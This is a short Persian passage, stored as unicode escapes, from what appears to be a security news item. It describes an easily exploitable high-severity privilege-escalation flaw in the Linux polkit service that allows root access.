\u06a9\u0631\u062f \u06a9\u0647 \u0628\u0647 \u0631\u0627\u062d\u062a\u06cc \u0642\u0627\u0628\u0644 \u0627\u06a9\u0633\u067e\u0644\u0648\u06cc\u062a \u0627\u0633\u062a. \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0627\u0632 \u0633\u0631\u0648\u06cc\u0633 polkit \u0646\u0634\u0623\u062a \u0645\u06cc\u200c\u06af\u06cc\u0631\u062f\u060c \u0648 \u0628\u0627 \u0628\u0647\u0631\u0647\u200c\u06af\u06cc\u0631\u06cc \u0627\u0632 \u0622\u0646 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646 \u0633\u0637\u062d \u062f\u0633\u062a\u0631\u0633\u06cc \u0631\u0627 \u0631\u0648\u06cc \u0633\u06cc\u0633\u062a\u0645 \u0647\u062f\u0641 \u062a\u0627 \u0633\u0637\u062d root \u0628\u0627\u0644\u0627 \u0628\u0631\u062f. \u0627\u06cc\u0646 \u0646\u0642\u0635 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u0634\u062f\u062a \u0628\u0627\u0644\u0627 (high severity) \u062f\u0633\u062a\u0647\u200c\u0628\u0646\u062f\u06cc \u0634\u062f\u0647 \u0648 \u0628\u0627 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